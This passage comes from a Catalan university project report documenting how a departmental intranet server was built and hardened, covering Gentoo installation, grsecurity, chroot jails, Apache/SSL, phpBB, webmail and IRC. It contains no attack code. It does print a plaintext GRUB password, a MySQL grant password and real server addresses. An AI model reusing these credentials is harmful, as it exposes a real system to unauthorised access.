 - Netejar diccionari: Esborra paraules clau no utilitzades per l'index 
   (disminueix tamany del diccionari).
 - Netejar paraules comunes: Esborra les paraules considerades massa genèriques
   o comuns del diccionari.
 - Estadístiques: Paraules clau en comú i pàgines més grans.

De totesformescadasetmanas'indexala pàginagràciesa un script que executael
dimoni vcron: /etc/cron.weekly/phpdig-spider que conté:

    #! /bin/sh
    cd /home/httpd/shtml/cercar/admin
    echo "------------------------------" >> /var/log/phpdig.log
    date >> /var/log/phpdig.log
    echo "------------------------------" >> /var/log/phpdig.log
    /usr/bin/php -f spider.php all 1>2 >> /var/log/phpdig.log

� ADMINISTRACIÓ DE LES PROPOSTES DE TESI

Directori: TESIS

A "shtml/tesis" trobem els arxius per l'administració de les tesis, es poden
afegir/modificar/esborrar i cercar per qualsevol camp per facilitar la gestió.
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Totatesihadetenir coma mínim un directori coma màximtres.Els directorshande
existir a la basededadesdel personal.Si unapersonaquepertanyia algunprojectees
eliminadadel personal,s'eliminaràautomàticamentde les tesisa les quepertanyeni
en cas de que la tesi es quedi sense director s'esborrarà immediatament.

Cadatesisha de classificar-sedins d'unacategoria,les categorieses podenafegir o
esborrar,exceptela "Sensecatalogar".El resumde la tesi pot serintroduït ambtags
html. S'utilitzen els funcions de formateig de "shtml/private/text.inc".

Al igual quela secciódePersonal,per accedira aquestazonaespot fer mitjançant2
permisos:
 - "Totes les Tesis i Categories": amb aquest privilegi es tindrà accés absolut
   a tota la base de dades de tesis, a més es podran afegir o esborrar
   categories.
 - "Només les seves Tesis": L'usuari només podrà accedir a les tesis que ell
   sigui director (o codirector). Per aconseguir això fem que a l'hora d'afegir
   tesis, ell hagi de ser obligatòriament un dels directors, i a l'hora de 
   modificar només es llistarà les seves tesis, a més s'estableix un control
   extra a l'hora de portar a terme els canvis a la BD per assegurar-nos que
   realment es ell un dels directors amb la funció "es_el_seu_id123()". Aquesta
   funció es troba a "shtml/private/ident.inc", se li passa per paràmetre 3 ids
   que seran comparats amb l'id de l'usuari actual, si algun dels tres es igual
   passarà sense problemes, sinó s'aturarà l'operació visualitzant un missatge
   d'error.

Hi ha 1 taula per cadaidioma en la que pot estaruna tesi, es decideixa quina ha
d'anarsegonsel que indiquemals formularis. A l'hora de modificar l'idioma d'una
tesis es té en compte quin seràel seu nou idioma a partir del que hem ficat al
formulari, i quina era el seuantic idioma (per tant, a quina taula estava)segonsla
cookieLANG que té el client. Aquestacookie se li fica quanal llistat de tesisper
modificar indica que vol modificar les de l'idioma X (utilitza el mateix mètodeque
s'utilitzaa les pàginesmultilingüesde la web principal).Pertant ambaquestmètode
podem saber des d'on hem de moure la tesi i cap a on.

� ADMINISTRACIÓ DELS LINKS RÀPIDS DE LA PLANA  PRINCIPAL

Directori: LINKS/

En aquestdirectori estrobenels arxiusperadministrarels links ràpidsquehi ha a la
plana principal a la dreta. Funcionade forma que es poden afegir o treure slots
(semprees treu l'últim que s'haafegit, com si fos una pila [FILO]). A méspodem
modificar el contingut de cada slot, es a dir, el link i el texte que conté.
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� FÒRUM

Directori: FORUM/

Aqui podemtrobar el fòrum de la web, basaten phpBB. Utilitza la basede dades
“phpbb” amb l'usuari “phpbb”. En aquestfòrum els alumnesi professorses poden
registrarlliurementi tenir accésa les seccionspúbliquesperdebatre,demanarajuda,
sol·licitarapuntso el quecalgui.A mésexisteixun fòrum privat nomésperprofessors
del DEIM, aquellsquevulguin participarhandeindicarel seulogin a l'administrador
i aquest donar-li permisos.

L'usuari administradorés “admin”, un cop s'entraamb aquestusuaries té accésal
paneld'administraciódesd'on pot crear/modificar/esborrarfòrum, establirprivilegis
als fòrums i donar permisosals usuaris.A més de l'administracióes podencrear
usuaris i donar-los permis per moderar algun fòrum en concret.

Al directori forum/docs es troba tota la informació extra necessaria sobre phpBB.

� WEBMAIL

Directori: WEBMAIL/

Webmailbasatenel webmailGPL Postaci(http://www.trlinux.com/).Ha siguttraduit
al català, integrat completamenta la web del deim i ha passatuna auditoria de
seguretat,a partir de la quals'hanfet moltesmodificacionsenel funcionamentintern
del webmail.En includes/global.inctrobemla configuració,fa úsdela basededades
webmaila MySQL. Necessitamod_phpambsuportIMAP, per utilitzar les funcions
queproporcionad'accésIMAP/POP3.Enconcret,aquestutilitza el protocolPOP3per
comunicar-seamb etse.urv.es,a més els mails també son enviats per etse.urv.es
utilitzant el protocol SMTP.

Els arxius que es vulguin adjuntar als mails seran guardats a
/home/httpd/shtml/private/webmail/send/ y /home/httpd/shtml/private/webmail/store/.

La traducció al català es troba a lang/catala.inc.

Els mailsenviatsesguardena la basededadesjunt ambla restad'informacióqueno
es rep de l'etse.urv.es.Podrienhaver problemessi un usuari es donat de baixa a
l'etse.urv.esi despréstornaa serdonatd'altaperassignar-liaquestaadreçaa unaaltra
persona,aquestatindria accésals mails enviatsper l'antic propietari.Es per això que
cadacop que es donade baixaun usuaride l'etse.urv.ess'hauriad'informar i treure
tota la informació guardada a la base de dades sobre ell.

La configuracióde l'usuari/passwordquenecessitaper fer la connexiócontrala base
de dades es troba al shtml/private/connect.inc.
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5.  AVALUACIÓ DEL RESULTAT

Un cop mésha quedatdemostratque espot implantarperfectamentun servidorper
cobrir les necessitatsd'un departament,en aquestcas un departamentd'enginyeria
d'informàtica i matemàtiques, utilitzant només tecnologies obertes i programari lliure.

Totes les einesutilitzadesper desenvoluparel projectehan sigut lliures, inclús el
propi informeha sigut redactatambprocessadorsde text lliures. Això evidenciaque
el SoftwareLliure esunaalternativarealambpossibilitats.El servidorenconcrets'ha
mostrat molt estable en tot moment, sense patir cap caiguda del sistema en
aproximadamentun any de funcionament,aquestnivell de qualitat esmolt positiu i
important.

El desenvolupamenten PHP ha sigut bastantconfortable i intuïtiu, existeix gran
quantitat de documentsa la xarxa per facilitar la vida al programador.L'únic
inconvenient es que aquest tipus de tecnologia genera una aplicació a on la
presentacióde la informació i el procésde la mateixa s'ajuntenfent més difícil
entendredesde fora el funcionament.Perprojectesmésgransi ambpossibilitatsd'ús
de maquinariapotentesmésrecomanableutilitzar la tecnologiaJ2EEde Sun,per la
qual també existeixen implementacions de servidors d'aplicacions lliures com Jboss.

Per la bandad'administraciódel servidor,GNU/Linux ofereix una amplia gamade
possibilitatsa l'horadegarantirla seguretat,consistènciai fiabilitat del sistema.En tot
momenttensel control absolutde la màquinai no s'amagares darrered'interfícies
gràfiquesmenysflexibles i potents.Es cert que tambéhi han einesgràfiquesque
faciliten l'administració,peròno sónd'úsobligat, sempreet permetfer-ho de forma
manualper gaudird'un control superior.Peraltra banda,l'administraciód'unsistema
GNU/Linux o UNIX engeneralésméscomplexaquealtresalternativescompot ser
un Microsoft Windows 2003, personalmentopino que sobretotquanes tracta d'un
servidorespreferibleinvertir enconeixementi apendreel funcionamentd'unsistema
operatiuper poder proporcionarun servei segur i fiable en comptesde buscarla
facilitat en l'administració perdent estabilitat, seguretat i control.

En conclusió,el desenvolupamentd'aquestprojecteha sigut tota unaaventuraplena
de experiènciesi a on l'adquisicióde nousconeixementsha sigut un fet continu.El
resultatha complert totesles especificacionsinicials sol·licitadesen els terminis de
temps establerts.
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6.  RECURSOS ELECTRÒNICS UTILITZATS

Sistemes Operatius

http://www.netbsd.org/
http://www.openbsd.org/
http://www.gnu.org/
http://www.kernel.org/

Distribucions GNU/Linux

http://www.redhat.es/
http://www.mandrakelinux.com
http://www.unitedlinux.com/
http://www.debian.org
http://www.slackware.com
http://www.gentoo.org

Cercadors d'aplicacions

http://www.linuxpackages.net
http://freshmeat.net

Cercador de continguts

http://www.google.com

Elements per ampliar la seguretat de sistemes GNU/Linux

http://www.grsecurity.net
http://www.research.avayalabs.com/project/libsafe/

Gàbies Chroot Jail

http://www.gsyc.inf.uc3m.es/~assman/jail/
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Jabber: missatgeria instantània

http://www.jabber.org
http://www.jabberstudio.org

Clients jabber

http://exodus.jabberstudio.org
http://psi.affinix.com/
http://gabber.sourceforge.net/

Servidor IRCd

http://www.shadow-realm.org/
http://www.epona.org

Clients d'IRC

http://www.mirces.com
http://www.ircap.com
http://www.xchat.org
http://www.bitchx.org
http://lunascript.sourceforge.net
http://www.kvirc.net

Túnels encriptats amb SSL

http://www.stunnel.org

Servidor Web

http://www.apache.org

Programació PHP

http://ww.php.net
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7.  ANNEX A: GUIA DE REFERÈNCIA PER LA
INSTAL·LACIÓ I ADMINISTRACIÓ DEL
SERVIDOR

DESCRIPCIÓ DEL DOCUMENT  

Aquestdocumentpreténinformardelspassosmésimportantsques'hanrealitzatfins
arribar a l'estat actual del sistema(servidor del DEIM). Explicant des del procés
d'instal·laciófins a les rutinesméshabitualscom pot ser la creaciód'un nou usuari.
Pertant,estractad'undocumentd'ajudapelsnousadministradorsde la màquina,que
necessitinconèixerl'estatdel sistemai tindreunavisió generaldecomesrealitzenles
tasques més habituals.

El sistemaactual és un GNU/Linux, concretamentuna distribució Gentoo,la qual
compila totes les aplicacionsque instal·lemde la forma més optima per la nostra
arquitectura(enaquestacas,un PentiumIV), aprofitantaixí al màximles prestacions
de la màquina.

Desdeun primermoments'hadonatmàximprivilegi a la seguretatdelsistema,esper
això ques'hanimplantantmillores al kernelde linux ambgrsecurity,quepermetun
nivell de seguretatsuperior,perexemple,davantdebuffer overflowsja quefa quela
pila del processosno sigui executable.S'haconfiguratun firewall personalitzati s'ha
restringit l'accésa tots aquellsusuarisquenecessitenallotjar les sevesplanesweb al
servidor,fent úsdegàbieschroot.A més,toteslesconnexionsques'haginderealitzar
amb autentificacióes fan sobreprotocolsque encriptenles dadesde forma que no
viatgin els passwords en text clar per la xarxa.

Per tot lo exposatanteriorment,qualsevol personaque es vulgui encarregarde
l'administraciódel servidornecessitatindre unsbonsconeixementsdeGNU/Linux i,
sobretot, tenir molt clara la filosofia segura que s'ha intentat aplicar des de l'inici.
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INSTAL·LACIÓ D'UNA GENTOO 1.4 RC2: PAS A PAS  

Iniciem l'ordinador i arranquem amb el Gentoo Live CD 1.4 RC2.

� PREPARACIONS INICIALS

Fem el particionament inicial amb la utilitat cfdisk:
512 MB SWAP hda1
100 MB /boot hda2
5000 MB / hda3

Reiniciem (tornem a arrancar de CD).

Donem format  Extended3 (sistema amb journaling) a les particions hda2 i hda3 amb: 
mke2fs -j /dev/hda2
mke2fs -j /dev/hda3

Donem format a la partició d'SWAP hda1:
mkswap /dev/hda1

Activem la memoria SWAP:
swapon /dev/hda1

� CONFIGURACIÓ DE LA XARXA

Carreguem el mòdul que correspon a la nostra tarja de xarxa:
modprobe eepro100

Configuració de la interface eth0:
ifconfig eth0 193.144.20.18 up

Afegim la ruta per defecte per tindre sortida cap a internet:
route add default gw 193.144.20.1

Editeml'arxiu /etc/resolv.confperindicarelsservidorsDNS queenspermetranfer les
resolucions domini <-> IP:

    domain etse.urv.es
    nameserver 193.144.20.2
    nameserver 193.144.16.4
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Amb domainetse.urv.esestemdient quecadacop que esconsulti unadomini tipus
“nom” li afegeixi nom.etse.urv.es.

Comprovem que la connexió funciona correctament amb un ping:

ping www.fut.es

� INSTAL·LACIÓ DEL SISTEMA BASE

Creació del directori a on muntarem la partició principal (la futura /):

  mkdir /mnt/gentoo
  mount /dev/hda3 /mnt/gentoo

Creaciódel directoriboot (futur /boot)a on esguardarantotselsarxiusd'inici mésel
kernel de linux:

mkdir /mnt/gentoo/boot
mount /dev/hda2 /mnt/gentoo/boot

Anem al directori principal i descomprimiml'stage 1 (la base mínima que ens
permetra compilar-ho tot, inclosa la base):

cd /mnt/gentoo
tar -jxvf /mnt/cdrm/gentoo/stage1...tar.bz2

Fem que el nostre/proc (directori virtual amb informació sobreel sistema)sigui el
mateix que el /mnt/gentoo/proc:

mount -o bind /proc /mnt/gentoo/proc

Copiem la configuració de DNS:

cp /etc/resolv.conf /mnt/gentoo/etc

I fem un chroot per treballaren el directori /mnt/gentoocom si fos /. Com ho fem
cridant a /bin/bash, per sortir del chroot només hauríem de escriure exit.

chroot /mnt/gentoo /bin/bash

Actualitzem l'entorn (variables d'entorn...)

env-update 

91



CREACIÓ  D'UN SERVIDOR PER LA  INTRANET  DEL DEIM                            

* Però ens dona un error i ens demanaun emergersync, per tant tornarem a
executar aquesta comanda després del rsync.

source /etc/profile

Actualitzemel portage(llistat de les aplicacionsdisponibles[ebuilds] per instal·lara
gentoo):

emerge rsync

Ara queja estaactualitzadala llista, tornema provara actualitzarl'entorn,aquestcop
si, sense cap error:

env_update

Editem l'arxiu principal de configuracióde les compilacionsde Gentoo(en aquest
punt només disposem de l'editor nano). 

nano -w /etc/make.conf

Modificaremels flags de compilacióqueseli passenal gcc (compilador)per fer que
les compilacionssiguin lo més optimitzadespossiblepel nostreprocessador(Intel
Pentium IV):

CFLAGS="-march=pentium3-O3 -fforce-addr-fomit-frame-pointer-funroll-
loops -frerun-cse-after-loop -frerun-loop-opt -falign-functions=4"

*** No fiquem pentium4 pq hi ha problemesamb les versionsactuals del gcc
(2.3.1/2.3.2)

Modifiquem els mirrors desd'on es baixaràels programes,com que la etseté un,
l'aprofitarem:

GENTOO_MIRRORS="ftp://ftp.etse.urv.es/pub/linux/gentoo
http://gentoo.oregonstate.edu/
http://www.ibiblio.org/pub/Linux/distributions/gentoo"

I farem que sincronitzi el portage sempre amb el servidor de bulma afegint:

SYNC="rsync://rsync1.es.gentoo.org/gentoo-portage"

Finalitzem la edició i fem un backup del make.conf:

cp /etc/make.conf /etc/make.conf.bak
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Iniciem el bootstrap (proces en el que es compilarà la base, gcc, glibc...):

cd /usr/portage
scripts/bootstrap.sh

* Hemd'estaratentsperquèal principi del bootstrap,el make.confesreescriti s'hade
recuperar el que teníem o no es compilarà amb les optimitzacions, etc..

Ara queja tenim la base,instal·laremla restadel sistemanecessariperarrancaramb
un linux mínim:

export CONFIG_PROTECT=””
emerge system

Configuració de la zona horària

ln -sf /usr/share/zoneinfo/Europe/Madrid /etc/localtime

� INSTAL·LACIÓ DEL KERNEL

Ens baixem les fonts del kernel standard, que serà descomprimit a /usr/src/:

emerge sys-kernel/vanilla-sources

Perquesigui possiblecompilarel kernel,hemd'afegiral PATH el directori a on es
troba el gcc:

export PATH=$PATH:/usr/lib/gcc-lib/i686-pc-linux-gnu/3.2.2

Configurem el kernel:

cd /usr/src/linux
make menuconfig

I finalment el compilem junt amb els seus mòduls:

make dep; make bzImage; make modules; make modules_install

El copiem al directori d'arranc:

cp arch/i386/boot/bzImage /boot/kernel-2.4.20
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Afegim un gestor de logs (dimoni):

emerge app-admin/syslog-ng

Afegim el dimoni a l'arranc:

rc-update add syslog-ng default

Afegim un cron per les tasques periòdiques:

emerge sys-apps/vcron
rc-update add vcron default

Editem l'arxiu de configuració de les particions que tenim:

nano -w /etc/fstab

Cambiem el password del superusuari (root):

passwd

Editem l'arxiu a on es guarda el nom de la màquina,en el nostre cas ficarem
deim.etse.urv.es:

nano -w /etc/hostname

Editemla configuracióde la xarxa,així la properavegadaqueiniciem el sistemaja
estarà configurada:

nano -w /etc/conf.d/net
  iface_eth0="193.144.20.18 broadcast 193.144.20.255 netmask 255.255.255.0"
  gateway="eth0/193.144.20.1"

Li diem que la utilitzi a l'arrancar:

rc-update add net.eth0 default

Editemla configuraciógeneraldel sistemaperficar quin tipusdeteclatutilitzem i que
el rellotge indica la hora local:

nano -w /etc/rc.conf
  KEYMAP=”es”
  CLOCK=”local”
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Creem l'arxiu de configuració del gestor d'arranc GRUB:

nano -w /boot/grub/menu.lst
  default 0
  timeout 3
  splashimage=(hd0,1)/boot/grub/splash.xpm.gz
  password inideim135
 
  title=Gentoo GNU/Linux
  root(hd0,1)
  kernel /boot/kernel-2.4.20-sec root=/dev/hda3 vga=771

ln -s /boot/grub/menu.lst /boot/grub/grub.conf

Instal·lem el gestor al sector d'arranc:

grub
  root (hd0,1)
  setup (hd0)
  quit

Reiniciem i ara no arranquem des del CD sinó des del disc dur.

POSTINSTAL·LACIÓ  

Instal·lació de GPM per utilitzar el mouse a la consola

Instal·lacióde la utilitat UFED queserveixper configurarfàcilment la variableUSE
del /etc/make.conf. Després de configurar-ho ha quedat:

USE="-3dnowacpi -arts -avi -cups -encodeflash -gnome-gtk -imlib -java
-kde -mikmod -motif mysql -opengl -qt -qtmt -quicktime -sdl -spell -svga
-truetype -X -xmms -xv imap"

Instal·lació del navegador de consola links

Instal·lacióde apache,mod_ssl,mod_php,flash-ming,mysql. Important tenir a la
variable USE imap, per donar suport a les funcions IMAP/POP3 de PHP.

Instal·lació de ncftp,  vlock, mc, cvs.

Instal·laciónmanual del sistemade paquetspkgtools de Slackware,així podrem
utilitzar aquest sistema de paquets quan instal·lem un programa que no estigui al
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portage. Per facilitar-ho també instal·lem checkinstall que ens ajudarà a fer els paquets
.tgz. Cadacop que instal·lemprogramesque no estiguinal portage,en comptesde
ficar make install, executarem checkinstall.

Apliquem grsecurity(http://www.grsecurity.net/)patchpel kernel2.4.20i instal·lem
chpaxal sistema.Grsecurityesun patchqueaportadiversesfuncionalitatsadicionals
de seguretatal kernel, com una pila a on no es pot executarcodi (per evitar
bufferoverflows),major control sobresocketsentre altres.Per poder controlar els
usuaris s'han creat els següents grups: 

  untrusted (usuaris en qui no confiar)
  socketdeny (usuaris als que se'l denega qualsevol tipus de socket)
  clientsocketdeny (usuaris als que se'l denega sockets de tipus client)
  serversocketdeny  (usuaris als que se'l denega sockets de tipus servidor)

Creem el grup secureshell,en aquestgrup estaranaquellespersonesque podran
accedir al sistema mitjançant ssh/sftp.

Instal·lació i configuració de logrotate i slocate.

Utilitzarem un alias: alias halt=echo “Inhabilitado.” Així no es podrar apagarla
màquina amb un simple halt, sino que s'haurad'escriure“halt” entre cometes.
L'objectiu es no executar aquesta comanda per error i apagar el sistema remotament.

Creaciód'unscript quete com a objectiula configuraciódel Firewall . Cadacopque
s'inicia la màquinas'executa.L'script es troba a /usr/local/sbin/firewall.Tancaels
ports que no calen ser accedits des de l'exterior entre altres coses.

Instal·laciói configuraciódel servidor de mail exim i del client de mail pine. El
servidorestatancatper firewall desdel'exterior,nomésespodenenviarmailsdesde
l'interior.

Configuració de /etc/logrotate.d/ per tractar tots els logs que tenim al sistema. 
Configuracióde vcron (NOTA: ignora /etc/crontab,ejecuta/etc/cron.hourly,daily...
per si mateix), per veure quines tasques s'han d'executar periòdicament.

CREACIÓ D'UN USUARI (EXEMPLE: COADMIN)  

Afegim l'usuari coadmin al sistema,el seu grup primari serà users i la resta
secureshell(perpemetrel'accésperSSH)i wheel(perpermetrecanviara superusuari
utilitzant “su”). Tots els usuarisqueno siguin de capchroot tindranel seudirectori
personal a /home/users/.

adduser -g users -G secureshell,wheel -s /bin/bash -d /home/users/coadmin
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Creemel seudirectoripersonal,li fiquemelsfitxers deconfiguracióinicials i fem que
el propietari sigui ell mateix:

mkdir /home/users/coadmin
cp /etc/skell/.* /home/users/coadmin/
chown -R coadmin:users /home/users/coadmin

Finalment establim un password per l'usuari:

passwd coadmin

ENTORNS CHROOT  

/home/chroot-web Tot usuariquevol tindre unaplanaweb, tindraun compte
dintred'aquestchroot.Peraccedira la basededadesmysql
directament haurà d'executar: 

mysql -p -u usuario -h 127.0.0.1

CREAR UN ENTORN CHROOT JAIL  

Creem el directori a on estarà el chroot:

mkdir chroot

Creem l'entorn inicial i li afegim el software base:

mkjailenv chroot
addjailsw chroot

Editeml'arxiu depasswordsper substituirel passwordde root per un *. No cal tenir
aquest password en aquest arxiu i a més es poc segur:

nano -w chroot/etc/shadow

Afegim més software, primer la shell bash:

addjailsw chroot -P bash
cp /etc/bashrc chroot/etc
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Ara el que ens permetrà fer “ls” en color:

addjailsw chroot -P DIRCOLORS
cp /etc/DIRCOLORS chroot/etc

Configuracions:

cp /etc/profile chroot/etc
cp -r /usr/share/terminfo chroot/etc

Comanda whoami:

addjailsw chroot -P whoami

Editor vim:

cp -r /usr/share/vim chroot/usr/share
addjailsw chroot -P vim –version
cp -r /etc/vim chroot/etc/

Midnight commander:

cp -r /usr/share/mc /home/chroot-web/usr/share/
addjailsw chroot -P mc

Per a que es pugui fer sftp cap al chroot, hem de tindre dintre el sftp-server:

cp /usr/lib/misc/sftp-server chroot/usr/lib/misc/

Finalmentafegir tota la següentcol·leccióde einestal i com hem fet fins ara (e.g.
addjailsw chroot -P programa):

� TextUtils: cat,cksum,comm,csplit, cut,expand,fmt, fold, head,join, md5sum,nl,
paste, pr, ptx, sha1sum, sort, split, sum, tac, tail, tr, tsort, unexpand, uniq, wc

� FileUtils: chgrp,chmod,chown,cp, dd, mv, rm, rmdir, shred,stat, touch,unlink,
rmdir.

� Otros: find, diff, tar, gzip, bzip2, nano, less, scp (para que funcione winscp2),
clear, vlock, mysql, groups,zip,unzip
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AFEGIR USUARI AL CHROOT JAIL (EXEMPLE: WEBMASTER)  

Afegim l'usuaricoadminal sistema,el seugrupprimari seràapache(si estractesd'un
usuaride web normalseriadel grup users)i la restasecureshell(per pemetrel'accés
perSSH),untrustedi serversocketdeny(s'hadepermetresocketsclient perquepugui
accedira mysql).Totselsusuarisd'unchroottenencoma directoripersonalel chroot
en qüestió:

useradd -g apache -G secureshell, untrusted, serversocketdeny -d /home/chroot-
web/ -s /usr/bin/jail webmaster

Li fiquem un password:

passwd webmaster

Afegim l'usuari al chroot /home/chroot-web amb el directori personal
/home/webmaster (a partir de /home/chroot-web/) i la shell /bin/bash:

addjailuser /home/chroot-web /home/webmaster /bin/bash webmaster

Editeml'arxiu depasswordsi substituimtots els passwordsper *. No calenaqui i es
un risc de seguretat:

nano -w /home/chroot-web/etc/shadow

Eliminem els grups repetits:

nano -w /home/chroot-web/etc/group

Creemels directorisinicials i copiemels arxiusde configuracióinicials. Els usuaris
dewebpodranficar lessevesplanesnormalahtml/ i a shtml/ lesquerequereixinanar
xifradesamb SSL. Les sevesadrecesseriendel tipus http://deim.etse.urv.es/~usuari
en el primer cas i  https://deim.etse.urv.es/~usuari en el segon:

mkdir /home/chroot-web/home/webmaster/
mkdir /home/chroot-web/home/webmaster/html
mkdir /home/chroot-web/home/webmaster/shtml
cp /etc/skell/.*  /home/chroot-web/home/webmaster/
chown -R webmaster:apache  chroot/home/webmaster/
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USUARIS PRINCIPALS AL DEIM  

root: superusuari

coadmin:Segonusuarimésimportant(desprésderoot),ambaquestpodremaccediral
sistema (no esta en cap chroot) des de l'exterior i fer un “su” cap a root.

webmaster:Encarregatdela planawebprincipaldel DEIM, estrobadintredel chroot
/home/chroot-web,pero a diferenciade la restad'usuarisd'aquestchroot té com a
grup primari apache.

CONFIGURACIÓ APACHE  

La pàgina principal es trobarà en:
  /home/chroot-web/home/webmaster/html
  /home/chroot-web/home/webmaster/shtml  (pàgines per SSL)
Però hi hauran enllaços simbòlics cap als directoris anteriors respectius:
  /home/httpd/html
  /home/httpd/shtml

Tota la configuraciód'apachees troba a /etc/apache/conf/.Primeramentconfigurem
l'arxiu principal, ficant el domini i afegint el suport per php i ssl entre altres coses:

apache.conf
  ServerName deim.etse.urv.es
  Include /etc/apache/conf/addon-modules/mod_php.conf
  Include /etc/apache/conf/addon-modules/mod_ssl.conf

Desprésediteml'arxiu commonapache.conf,femqueel DocumentRoot/home/chroot-
web/home/webmaster/html.Configurem el userdir inhabilitant les planesweb per
root, coadmin i webmaster (ja que aquest té la plana principal):

  UserDir /home/chroot-web/home/*/html
  UserDir disabled root coadmin webmaster

Configurem els directoris:

<Directory /home/chroot-web/home/webmaster/html>
  Options -Indexes FollowSymLinks MultiViews
  AllowOverride none
  Order allow,deny
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  Allow from all

<Directory /home/chroot-web/home/webmaster/shtml>
  [Idem anterior]
</Directory>

Evitem que es pugui accedir als directoris private:

<Directory "/home/chroot-web/home/webmaster/html/private">
   Options -Indexes FollowSymLinks MultiViews
   AllowOverride None
   Order deny,allow
   Deny from all
</Directory>
 
<Directory "/home/chroot-web/home/webmaster/shtml/private">
  [Idem. Anterior]
</Directory>

Ara ve la configuraciónecessàriapelsdirectorisde la aplicacióGAP (ques'explicarà
mésendavantcom instal·lar),per cadaaplicacióGAP quehi hagi instal·ladas'hade
fer una configuració del 3 directoris:

<Directory "/home/httpd/gap">
  Options Indexes FollowSymLinks MultiViews
  AllowOverride AuthConfig Limit
  Order allow,deny
  Allow from all
</Directory>
 
<Directory "/home/httpd/gap/cgi-bin/">
  Options -Indexes FollowSymLinks MultiViews ExecCGI
  AllowOverride AuthConfig Limit
  Order allow,deny
  Allow from all
</Directory>

 
No permetre que ningú tingui accés al directori de dades:

<Directory "/home/httpd/gap/gap">
  Options -Indexes
  AllowOverride None
  Order deny,allow
  Deny from all
</Directory>
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Finalment la configuració pels directoris dels usuaris:

<Directory /home/chroot-web/home/*/html>
    AllowOverride Indexes FileInfo AuthConfig Limit
    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
    <Limit GET POST OPTIONS PROPFIND>
        Order allow,deny
        Allow from all
    </Limit>
    <LimitExcept GET POST OPTIONS PROPFIND>
        Order deny,allow
        Deny from all
    </LimitExcept>
</Directory>
<Directory /home/chroot-web/home/*/html/cgi-bin>
     Options +ExecCGI -Includes -Indexes
     SetHandler cgi-script
</Directory>

Configurem el suport SSL a l'arxiu /etc/apache/conf/addon-modules/mod_ssl.conf,
fiquem el domini, fem que DocumentRoot sigui "/home/chroot-
web/home/webmaster/shtml", configurem el SSL pels usuaris individuals:

<IfModule mod_userdir.c>
   UserDir /home/chroot-web/home/*/shtml
   UserDir disabled root coadmin webmaster
</IfModule>

I el directori principal:

<Directory /home/chroot-web/home/*/shtml>
    AllowOverride Indexes FileInfo AuthConfig Limit
    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
    <Limit GET POST OPTIONS PROPFIND>
        Order allow,deny
        Allow from all
    </Limit>
    <LimitExcept GET POST OPTIONS PROPFIND>
        Order deny,allow
        Deny from all
    </LimitExcept>
</Directory>

Finalment indiquem a on estaran els certificats:

SSLCertificateFile /etc/apache/conf/ssl/deim.crt
SSLCertificateKeyFile /etc/apache/conf/ssl/deim.key
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En el directori /etc/apache/conf/ssl/ s'hauran de crear els certificats corresponents.

CREACIÓ CERCTIFICATS SSL PER APACHE  

Percrearels certificatsdeim.crt/deim.keyal directori /etc/apache/conf/ssl/executem
des d'aquest directori:

openssl genrsa -out deim.key 1024 -days 9999
openssl req -new -key deim.key -x509 -out deim.crt -days 9999

DENEGAR ACCÉS A 1 DIRECTORI D'USUARI WEB PER IP  

Com quea la configuraciód'apachetenim allowoverridelimit a la configuraciódel
directori dels usuaris,podenficar al directori que vulguin denegaraccésun arxiu
.htaccess amb el contingut:

<limit GET>
   Order Deny, Allow
   Deny from All
   Allow from 127.0.0.1
</limit>

Aquest exemple només permet accés al directori des de 127.0.0.1.

IMPEDIR EL LLISTAT  PER WEB A PARTIR D'UN DIRECTORI  

Creem al directori l'arxiu .htacces i que contingui:

<Limit OPTIONS>
   IndexIgnore *
</Limit>
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MYSQL  

L'usuariadministradorde la basededadeses“admin” i no “root” queesel queporta
per defecte,es unapetita mesuramésde seguretat.Les basesde dadeses trobenal
directori /var/lib/mysql.

INSTAL·LACIÓ DE PHPMYADMIN  

Primer l'instal·lem“emergetestphpmyadmin”(fem emergetestper queagafi l'última
versió 2.4.0).  Seguidament editem “/etc/phpmyadmin/mysql-setup.sql” i canviem:

GRANT USAGE ON mysql.* TO 'pma'@'localhost' IDENTIFIED BY 
'12170265211794023044';

per
GRANT USAGE ON mysql.* TO 'pma'@'localhost' IDENTIFIED BY 
'PasswordQueVolemPerL'usuari_pma';

Després executem: 
    mysql -u admin -p < /etc/phpmyadmin/mysql-setup.sql

Això crearàl'usuaria la basededadespmai la basede dadespmadb.L'usuaritindrà
permisosperconsultarlesdadesdetotselsaltresusuaris(així elspodràautentificar)i
tambétindrà permisosper la sevabasede dades.Ara que ja estacreadala basede
dadesseriaconvenientperseguretatesborrarel passwordquehemespecificaral arxiu
“/etc/phpmyadmin/mysql-setup.sql”.

Ara mouremel phpmyadmindel seu directori per defectea on tenim les pàgines
segures:

    mv /home/httpd/htdocs/phpmyadmin /home/httpd/shtml/mysql

Editem i configurem l'arxiu “config.inc.php”. Entre altres coses:

  $cfg['PmaAbsoluteUri'] = 'https://deim.etse.urv.es/mysql/';
  $cfg['Servers'][$i]['controlpass']  = 'PasswordDelUsuario_pma'
  $cfg['Servers'][$i]['auth_type']     = 'cookie';

Ara ja es pot accedir per https://deim.etse.urv.es/mysql.
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INSTAL·LACIÓ DE STUNNEL + ULTIMATE IRCD + EPONA  
SERVICES  

Creem el grup ircd i l'usuari ircd sense accés real al sistema (shell nula).

� STUNNEL

Instal·lemstunnelqueensserviràperqueel usuarispuguinaccediral servidord'irc de
forma encriptada fent un tunnel SSL amb stunnel des del client fins al servidor.

Client Servidor
   connexió ---> localhost:6667 –[stunnel]--> deim:6667 ---> localhost:6668

Crearem el certificat stunnel.pem per crear les connexions SSL amb:

ebuild stunnel....ebuild unpack
cd /var/db.../stunnel
./configure
make stunnel.pem
cp stunnel.pem /etc/stunnel

Li donarem permisos només a l'usuari ircd i el grup ircd:

chown -R ircd:ircd /etc/stunnel/
chmod 640 /etc/stunnel/stunnel.pem

Finalment, farem stunnel setuid amb l'usuari ircd.

chown ircd:ircd /usr/sbin/stunnel

� ULTIMATE IRCD

Ara la instal·lació del servidor d'IRC, com no es troba al portage ho farem
manualment,el descomprimirema /usr/local (ens crearà/usr/local/Ultimate2.8.5/),
editarem config/ircd.ini i crearem networks/deim.network a partir de
networks/template.network. Seguidament executarem:

./configure
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I resoldrem les preguntes amb les següents respostes:

Which compiler do you use, gcc or cc or...?
  gcc

Enter additional flags to give to gcc:
-march=pentium3-O3 -fforce-addr-fomit-frame-pointer-funroll-loops -frerun-

cse-after-loop -frerun-loop-opt -falign-functions=4

If you needto useany extra libraries when compiling the server,pleasetell me
now...
  -lcrypt -lresolv (default)

